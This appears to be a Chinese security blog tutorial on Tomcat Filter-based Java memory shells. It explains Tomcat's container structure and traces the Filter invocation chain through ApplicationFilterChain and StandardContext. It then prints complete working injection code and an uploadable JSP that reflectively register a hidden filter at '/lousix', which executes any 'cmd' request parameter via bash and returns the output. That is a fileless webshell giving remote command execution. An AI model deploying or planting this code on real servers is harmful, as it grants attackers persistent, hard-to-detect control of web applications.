0x01 前言
Java 内存马分类
- Servlet-Api类
- SpringBoot
- Java Instrumentation类
0x02 JavaWeb搭建
创建javaweb项目,添加一个Filter
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.servlet.*; import javax.servlet.annotation.*; import java.io.IOException;
@WebFilter(filterName = "Test") public class Test implements Filter { public void init(FilterConfig config) throws ServletException { System.out.println("===========" + "Filter Init" + "==========="); }
public void destroy() { System.out.println("===========" + "Filetr destroy" + "==========="); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { System.out.println("++++++++++" + "Filter doing" + "++++++++++" ); chain.doFilter(request, response); } }
|
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>Test</filter-name> <filter-class>Test</filter-class> </filter> <filter-mapping> <filter-name>Test</filter-name> <url-pattern>
|
添加maven
pom.xml添加依赖
1 2 3 4 5 6 7 8 9
| <dependencies> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.58</version> <scope>provided</scope> </dependency> </dependencies>
|
问题
idea2020之后不能直接创建javaWeb,参考链接
不能快捷创建servlet和filter,从maven中下载jar包,导入项目即可
https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api/4.0.1
0x03 Tomcat相关
Servlet
- TomcatServer:Servlet 的顶层容器,包含一个或多个 Host 子容器;
- Host:虚拟主机,负责 Web 应用的部署和 Context 的创建;
- Context:Web 应用上下文,包含多个Wrapper,负责 Web 配置的解析、管理所有 Web 资源;
- Wrapper:最底层的容器,是对 Servlet 的封装,负责 Servlet 实例的创建、执行和销毁。
ServletContext
获取途径
ServletConfig#getServletContext()
getServletConfig().getServletContext()
GenericServlet#getServletContext()
其中GenericServlet
被HttpServlet
所继承
功能
tomcat为每个web项目都创建一个ServletContext实例,tomcat在启动时创建,服务器关闭时销毁,在一个web项目中共享数据,管理web项目资源,为整个web配置公共信息等,通俗点讲,就是一个web项目,就存在一个ServletContext实例,每个Servlet读可以访问到它。
上面讲到的Context为ApplicationContext
、StandardContext
等
0x04 Filter源码分析
调用链
在Test
的doFilter
处设置断点,开启debug,得到调用链,一部分如下图所示
Filter调用过程
ApplicationFilterChain
我们根据调用链反着来看
Test
中doFilter
方法是在ApplicationFilterChain
中调用的
此处的filter
来自于ApplicationFilterChain
类中定义的filters
数组
根据ApplicationFilterChain
类的定义,我们可以发现filters
实际上为一个空的数组。
那么我们在ApplicationFilterChain
中查找与filters
相关操作——addFilter
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| void addFilter(ApplicationFilterConfig filterConfig) { ApplicationFilterConfig[] newFilters = this.filters; int var3 = newFilters.length;
for(int var4 = 0; var4 < var3; ++var4) { ApplicationFilterConfig filter = newFilters[var4]; if (filter == filterConfig) { return; } }
if (this.n == this.filters.length) { newFilters = new ApplicationFilterConfig[this.n + 10]; System.arraycopy(this.filters, 0, newFilters, 0, this.n); this.filters = newFilters; }
this.filters[this.n++] = filterConfig; }
|
StandardWrapperValve
接下来,看到StandardWrapperValve
类的invoke
方法,可以发现此处实例化了一个ApplicationFilterChain
ApplicationFilterFactory
跟进createFilterChain
方法,可以找到两处调用addFilter
方法的代码
这两处代码主要是利用matchFiltersURL
方法对web.xml
进行解析,判断web.xml
中的内容是否正确,符合配置要求,对于符合配置的添加到filterChain
中
Filter载入方法
filterDefs
、filterMaps
和filterConfig
都是由调用StandardContext
中的方法产生的
最后通过StandardContext
的addFilterDef
、addFilterMap
、filterStart
加载到filterchain
中调用
0x05 Filter内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| String name = "Lousix"; String urlPattern = "/lousix";
try{ ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) { Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash", "-c", req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes, 0, len)); process.destroy(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(urlPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name,filterConfig); } }catch(Exception e){ e.printStackTrace(); } out.print("Inject Success !");
|
文件上传jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %>
<% String name = "Lousix"; String urlPattern = "/lousix";
try{ ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) { Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash", "-c", req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes, 0, len)); process.destroy(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(urlPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name,filterConfig); } }catch(Exception e){ e.printStackTrace(); } out.print("Inject Success !"); %> <html> <head> <title>filter</title> </head> <body> Hello Filter </body> </html>
|
参考
https://xz.aliyun.com/t/10362
https://www.cnblogs.com/whgk/p/6399262.html
https://cloud.tencent.com/developer/article/1894003
http://wjlshare.com/archives/1529